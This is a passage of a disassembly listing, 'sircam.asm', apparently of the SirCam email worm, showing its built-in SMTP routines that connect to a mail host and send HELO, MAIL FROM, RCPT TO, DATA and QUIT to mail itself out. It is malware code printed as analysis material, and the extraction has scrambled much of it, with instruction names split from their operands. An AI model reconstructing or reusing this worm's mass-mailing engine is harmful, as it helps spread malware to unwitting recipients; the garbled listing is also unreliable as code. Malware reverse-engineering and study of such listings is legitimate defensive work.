ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short locret_412CA4 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_412CAC: sub_412C80 ; CODE XREF: sub_412C80+24\030j ; DATA XREF: sub_412C80+1F\030o pop ebp retn endp ; sp = -4 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 loc_412CB0: ; DATA XREF: CODE:0041A97C\031o sub ds:dword_41E66C, 1 retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ off_412CB8 dd offset dword_412D04 ; DATA XREF: sub_413258+3B\031r ; sub_418FBC+21\031r dd 2 dup(0) sircam.asm dword_412D04 dword_412D1E Fri Aug 10 12:42:44 2001 511 dd dd dd dd dd dd dd dd dd dd dd dd dd dd offset dword_412D04 4 dup(0) offset dword_412D1E 18h offset off_40100C offset loc_402CA0 offset nullsub_2 offset nullsub_3 offset sub_402CB4 offset nullsub_4 offset loc_402B70 offset sub_402B84 offset sub_412DA0 0Eh, 20000h db dd dd dd dd dd db 2 dup(0) offset off_401000 0Ch offset off_401000 14h 4D535409h, 65535054h ; DATA XREF: CODE:00412CD8\030o 6Eh, 64h ; DATA XREF: CODE:00412CB8\030o ; CODE:00412CC4\030o ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_412D28 proc near push push push test jz add call ebx esi edi dl, dl short loc_412D37 esp, 0FFFFFFF0h sub_402CDC mov mov xor mov call mov mov call mov mov mov mov call mov lea mov call mov test jz call pop add ; CODE XREF: sub_412D28+5\030j ebx, edx edi, eax edx, edx eax, edi sub_402BAC dl, 1 eax, ds:off_40F888 sub_40F908 esi, eax [edi+4], esi eax, esi edx, [eax] dword ptr [edx] dword ptr [edi+8], 493E0h eax, [edi+0Ch] edx, offset aLocalhost ; "localhost" sub_40351C eax, edi bl, bl short loc_412D84 sub_402D34 large dword ptr fs:0 esp, 0Ch loc_412D37: loc_412D84: sub_412D28 ; CODE XREF: sub_413258+40\031p ; sub_418FBC+26\031p ; CODE XREF: sub_412D28+4B\030j mov pop pop pop retn endp eax, edi edi esi ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ sircam.asm aLocalhost Fri Aug 10 12:42:44 2001 align 4 dd 0FFFFFFFFh, 9 db ’localhost’,0 align 4 512 ; DATA XREF: sub_412D28+3D\030o ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_412DA0 proc near ; DATA XREF: CODE:00412D00\030o push ebx push esi call sub_402D3C mov ebx, edx mov esi, eax mov eax, [esi+4] call sub_402BDC mov edx, ebx and dl, 0FCh mov eax, esi call sub_402BCC test bl, bl jle short loc_412DCA mov eax, esi call sub_402D2C loc_412DCA: sub_412DA0 ; CODE XREF: sub_412DA0+21\030j pop pop retn endp esi ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_412DD0 proc near var_8 var_4 = dword ptr -8 = dword ptr -4 push mov push push push push push mov xor push push push mov xor lea mov mov mov call lea mov call mov call cmp jl ; CODE XREF: sub_412EA0+37\031p ; sub_412EA0+76\031p ... ebp ebp, esp 0 0 ebx esi edi ebx, eax eax, eax ebp offset loc_412E81 dword ptr fs:[eax] fs:[eax], esp esi, esi ecx, [ebp+var_4] edx, [ebx+8] eax, [ebx+4] edi, [eax] dword ptr [edi+18h] eax, [ebx+14h] edx, [ebp+var_4] sub_40351C eax, [ebp+var_4] sub_403724 eax, 3 short loc_412E51 sircam.asm Fri Aug 10 12:42:44 2001 513 lea eax, [ebp+var_8] push eax mov ecx, 3 mov edx, 1 mov eax, [ebp+var_4] call sub_40392C mov eax, [ebp+var_8] xor edx, edx call sub_407058 mov esi, eax jmp short loc_412E51 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_412E36: ; CODE XREF: sub_412DD0+91\031j lea ecx, [ebp+var_4] mov edx, [ebx+8] mov eax, [ebx+4] mov edi, [eax] call dword ptr [edi+18h] mov eax, [ebx+4] cmp dword ptr [eax+28h], 0 jz short loc_412E51 xor esi, esi jmp short loc_412E63 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_412E51: ; CODE XREF: sub_412DD0+40\030j ; sub_412DD0+64\030j ... mov mov call cmp jz edx, [ebp+var_4] eax, offset dword_412E9C sub_4039B4 eax, 4 short loc_412E36 mov xor pop pop pop mov push ; CODE XREF: sub_412DD0+7F\030j [ebx+10h], esi eax, eax edx ecx ecx fs:[eax], edx offset loc_412E88 loc_412E63: loc_412E73: sub_412DD0 ; CODE XREF: CODE:00412E86\031j lea eax, [ebp+var_8] mov edx, 2 call sub_4034EC retn endp ; sp = -1Ch ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_412E81: ; DATA XREF: sub_412DD0+F\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_412E73 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_412E88: ; DATA XREF: sub_412DD0+9E\030o mov eax, esi pop edi pop esi pop ebx pop ecx pop ecx pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 dd 0FFFFFFFFh, 1 sircam.asm dword_412E9C Fri Aug 10 12:42:44 2001 dd 2Dh 514 ; DATA XREF: sub_412DD0+84\030o ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_412EA0 proc near var_8 var_4 = dword ptr -8 = dword ptr -4 push mov push push push push push mov xor push push push mov xor mov mov mov call mov cmp jnz mov call cmp jnz push lea mov mov call push push lea mov call mov mov mov call mov call cmp jnz mov ; CODE XREF: sub_413258+67\031p ; sub_418FBC+4D\031p ebp ebp, esp 0 0 ebx esi edi esi, eax eax, eax ebp offset loc_412F3F dword ptr fs:[eax] fs:[eax], esp ebx, ebx ecx, offset aSmtp ; "smtp" edx, [esi+0Ch] eax, [esi+4] sub_40FAD4 eax, [esi+4] dword ptr [eax+28h], 0 short loc_412F24 eax, esi sub_412DD0 eax, 0DCh short loc_412F24 offset dword_412F68 edx, [ebp+var_8] edi, [esi+4] eax, edi sub_410074 [ebp+var_8] offset dword_412F78 eax, [ebp+var_4] edx, 3 sub_4037E4 edx, [ebp+var_4] eax, edi ecx, [eax] dword ptr [ecx+0Ch] eax, esi sub_412DD0 eax, 0FAh short loc_412F24 bl, 1 loc_412F24: ; CODE XREF: sub_412EA0+33\030j ; sub_412EA0+41\030j ... xor pop pop pop mov push eax, eax edx ecx ecx fs:[eax], edx offset loc_412F46 lea mov call eax, [ebp+var_8] edx, 2 sub_4034EC loc_412F31: ; CODE XREF: CODE:00412F44\031j sircam.asm sub_412EA0 Fri Aug 10 12:42:44 2001 515 retn endp ; sp = -28h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_412F3F: ; DATA XREF: sub_412EA0+F\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_412F31 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_412F46: ; DATA XREF: sub_412EA0+8C\030o mov eax, ebx pop edi pop esi pop ebx pop ecx pop ecx pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 dd 0FFFFFFFFh, 4 aSmtp db ’smtp’,0 ; DATA XREF: sub_412EA0+1C\030o align 4 dd 0FFFFFFFFh, 5 dword_412F68 dd 4F4C4548h, 20h, 0FFFFFFFFh, 2 ; DATA XREF: sub_412EA0+43\030o dword_412F78 dd 0A0Dh ; DATA XREF: sub_412EA0+58\030o ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_412F7C proc near sub_412F7C push mov mov mov mov call mov call mov call pop retn endp ; CODE XREF: sub_413258+BC\031p ; sub_418FBC+5E\031p ebx ebx, eax edx, offset dword_412FA8 eax, [ebx+4] ecx, [eax] dword ptr [ecx+0Ch] eax, ebx sub_412DD0 eax, [ebx+4] sub_40FAC8 ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 dd 0FFFFFFFFh, 6 dword_412FA8 dd 54495551h, 0A0Dh ; DATA XREF: sub_412F7C+3\030o ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_412FB0 proc near var_8 var_4 = dword ptr -8 = dword ptr -4 push mov add push push xor mov mov ebp ebp, esp esp, 0FFFFFFF8h ebx esi ecx, ecx [ebp+var_8], ecx [ebp+var_4], edx ; CODE XREF: sub_413258+7D\031p sircam.asm Fri Aug 10 12:42:44 2001 mov mov call xor push push push mov xor push push push push lea mov call mov mov mov call mov call cmp jnz mov esi, eax eax, [ebp+var_4] sub_4038D8 eax, eax ebp offset loc_41302F dword ptr fs:[eax] fs:[eax], esp ebx, ebx offset dword_413048 [ebp+var_4] offset dword_41305C offset dword_413068 eax, [ebp+var_8] edx, 4 sub_4037E4 edx, [ebp+var_8] eax, [esi+4] ecx, [eax] dword ptr [ecx+0Ch] eax, esi sub_412DD0 eax, 0FAh short loc_413014 bl, 1 xor pop pop pop mov push ; CODE XREF: sub_412FB0+60\030j eax, eax edx ecx ecx fs:[eax], edx offset loc_413036 loc_413014: loc_413021: sub_412FB0 516 ; CODE XREF: CODE:00413034\031j lea eax, [ebp+var_8] mov edx, 2 call sub_4034EC retn endp ; sp = -28h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_41302F: ; DATA XREF: sub_412FB0+1D\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_413021 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_413036: ; DATA XREF: sub_412FB0+6C\030o mov eax, ebx pop esi pop ebx pop ecx pop ecx pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 dd 0FFFFFFFFh, 0Bh dword_413048 dd 4C49414Dh, 4F524620h, 3C3A4Dh, 0FFFFFFFFh, 1 ; DATA XREF: sub_412FB0+2 A\030o dword_41305C dd 3Eh, 0FFFFFFFFh, 2 ; DATA XREF: sub_412FB0+32\030o dword_413068 dd 0A0Dh ; DATA XREF: sub_412FB0+37\030o ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_41306C proc near ; CODE XREF: sub_413258+93\031p sircam.asm var_8 var_4 Fri Aug 10 12:42:44 2001 = dword ptr -8 = dword ptr -4 push mov add push push xor mov mov mov mov call xor push push push mov xor push push push push lea mov call mov mov mov call mov call cmp jnz mov ebp ebp, esp esp, 0FFFFFFF8h ebx esi ecx, ecx [ebp+var_8], ecx [ebp+var_4], edx esi, eax eax, [ebp+var_4] sub_4038D8 eax, eax ebp offset loc_4130EB dword ptr fs:[eax] fs:[eax], esp ebx, ebx offset dword_413104 [ebp+var_4] offset dword_413118 offset dword_413124 eax, [ebp+var_8] edx, 4 sub_4037E4 edx, [ebp+var_8] eax, [esi+4] ecx, [eax] dword ptr [ecx+0Ch] eax, esi sub_412DD0 eax, 0FAh short loc_4130D0 bl, 1 xor pop pop pop mov push ; CODE XREF: sub_41306C+60\030j eax, eax edx ecx ecx fs:[eax], edx offset loc_4130F2 loc_4130D0: loc_4130DD: sub_41306C 517 ; CODE XREF: CODE:004130F0\031j lea eax, [ebp+var_8] mov edx, 2 call sub_4034EC retn endp ; sp = -28h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4130EB: ; DATA XREF: sub_41306C+1D\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_4130DD ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4130F2: ; DATA XREF: sub_41306C+6C\030o mov eax, ebx pop esi pop ebx pop ecx pop ecx pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ sircam.asm dword_413104 \030o dword_413118 dword_413124 Fri Aug 10 12:42:44 2001 518 align 4 dd 0FFFFFFFFh, 9 dd 54504352h, 3A4F5420h, 3Ch, 0FFFFFFFFh, 1 ; DATA XREF: sub_41306C+2A dd 3Eh, 0FFFFFFFFh, 2 dd 0A0Dh ; DATA XREF: sub_41306C+32\030o ; DATA XREF: sub_41306C+37\030o ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_413128 proc near var_14 var_10 var_C var_5 var_4 = = = = = ; CODE XREF: sub_413258+A9\031p dword ptr -14h dword ptr -10h dword ptr -0Ch byte ptr -5 dword ptr -4 push mov add push push push xor mov mov mov mov xor push push push mov mov mov mov mov call mov call cmp jnz mov mov call mov dec test jl inc mov ebp ebp, esp esp, 0FFFFFFECh ebx esi edi ecx, ecx [ebp+var_14], ecx [ebp+var_10], ecx [ebp+var_4], edx esi, eax eax, eax ebp offset loc_413212 dword ptr fs:[eax] fs:[eax], esp [ebp+var_5], 0 edx, offset dword_41322C eax, [esi+4] ecx, [eax] dword ptr [ecx+0Ch] eax, esi sub_412DD0 eax, 162h loc_4131F7 eax, [ebp+var_4] edx, [eax] dword ptr [edx+14h] ebx, eax ebx ebx, ebx short loc_4131D8 ebx [ebp+var_C], 0 lea mov mov mov call mov call dec jl mov cmp jnz lea mov mov ; CODE XREF: sub_413128+AE\031j ecx, [ebp+var_10] edx, [ebp+var_C] eax, [ebp+var_4] edi, [eax] dword ptr [edi+0Ch] eax, [ebp+var_10] sub_403724 eax short loc_4131B7 eax, [ebp+var_10] byte ptr [eax], 2Eh short loc_4131B7 eax, [ebp+var_10] ecx, [ebp+var_10] edx, offset dword_41323C loc_413186: sircam.asm Fri Aug 10 12:42:44 2001 call sub_403770 lea mov mov call mov mov mov call inc dec jnz ; CODE XREF: sub_413128+75\030j ; sub_413128+7D\030j eax, [ebp+var_14] ecx, offset dword_413248 edx, [ebp+var_10] sub_403770 edx, [ebp+var_14] eax, [esi+4] ecx, [eax] dword ptr [ecx+0Ch] [ebp+var_C] ebx short loc_413186 mov mov mov call mov call cmp jnz mov ; CODE XREF: sub_413128+54\030j edx, offset dword_413254 eax, [esi+4] ecx, [eax] dword ptr [ecx+0Ch] eax, esi sub_412DD0 eax, 0FAh short loc_4131F7 [ebp+var_5], 1 loc_4131B7: loc_4131D8: loc_4131F7: ; CODE XREF: sub_413128+41\030j ; sub_413128+C9\030j xor pop pop pop mov push loc_413204: sub_413128 519 eax, eax edx ecx ecx fs:[eax], edx offset loc_413219 ; CODE XREF: CODE:00413217\031j lea eax, [ebp+var_14] mov edx, 2 call sub_4034EC retn endp ; sp = -28h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_413212: ; DATA XREF: sub_413128+19\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_413204 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_413219: ; DATA XREF: sub_413128+D7\030o mov al, [ebp-5] pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 dd 0FFFFFFFFh, 6 dword_41322C dd 41544144h, 0A0Dh, 0FFFFFFFFh, 1 ; DATA XREF: sub_413128+28\030o dword_41323C dd 2Eh, 0FFFFFFFFh, 2 ; DATA XREF: sub_413128+85\030o dword_413248 dd 0A0Dh, 0FFFFFFFFh, 3 ; DATA XREF: sub_413128+92\030o dword_413254 dd 0A0D2Eh ; DATA XREF: sub_413128+B0\030o ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sircam.asm Fri Aug 10 12:42:44 2001 sub_413258 proc near var_14 var_D var_C var_8 var_4 arg_0 = = = = = = 520 ; CODE XREF: sub_4190CC+CCB\031p dword ptr -14h byte ptr -0Dh dword ptr -0Ch dword ptr -8 dword ptr -4 dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFFECh mov [ebp+var_C], ecx mov [ebp+var_8], edx mov [ebp+var_4], eax mov eax, [ebp+var_4] call sub_4038D8 mov eax, [ebp+var_8] call sub_4038D8 mov eax, [ebp+var_C] call sub_4038D8 xor eax, eax push ebp push offset loc_413355 push dword ptr fs:[eax] mov fs:[eax], esp mov [ebp+var_D], 0 mov dl, 1 mov eax, ds:off_412CB8 call sub_412D28 mov [ebp+var_14], eax xor eax, eax push ebp push offset loc_413333 push dword ptr fs:[eax] mov fs:[eax], esp mov eax, [ebp+var_14] add eax, 0Ch mov edx, [ebp+var_C] call sub_40351C mov eax, [ebp+var_14] call sub_412EA0 test al, al jnz short loc_4132CF call sub_403038 jmp short loc_41333A ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4132CF: ; CODE XREF: sub_413258+6E\030j mov edx, [ebp+var_4] mov eax, [ebp+var_14] call sub_412FB0 test al, al jnz short loc_4132E5 call sub_403038 jmp short loc_41333A ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4132E5: ; CODE XREF: sub_413258+84\030j mov edx, [ebp+var_8] mov eax, [ebp+var_14] call sub_41306C test al, al jnz short loc_4132FB call sub_403038 jmp short loc_41333A ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4132FB: ; CODE XREF: sub_413258+9A\030j sircam.asm Fri Aug 10 12:42:44 2001 521 mov edx, [ebp+arg_0] mov eax, [ebp+var_14] call sub_413128 test al, al jnz short loc_413311 call sub_403038 jmp short loc_41333A ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_413311: mov call mov xor pop pop pop mov push ; CODE XREF: sub_413258+B0\030j eax, [ebp+var_14] sub_412F7C [ebp+var_D], 1 eax, eax edx ecx ecx fs:[eax], edx offset loc_41333A loc_41332A: ; CODE XREF: sub_413258+E0\031j mov eax, [ebp+var_14] call sub_402BDC retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_413333: ; DATA XREF: sub_413258+4B\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_41332A ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_41333A: ; CODE XREF: sub_413258+75\030j ; sub_413258+8B\030j ... xor pop pop pop mov push eax, eax edx ecx ecx fs:[eax], edx offset loc_41335C loc_413347: sub_413258 ; CODE XREF: CODE:0041335A\031j lea eax, [ebp+var_C] mov edx, 3 call sub_4034EC retn endp ; sp = -1Ch ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_413355: ; DATA XREF: sub_413258+2A\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_413347 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_41335C: ; DATA XREF: 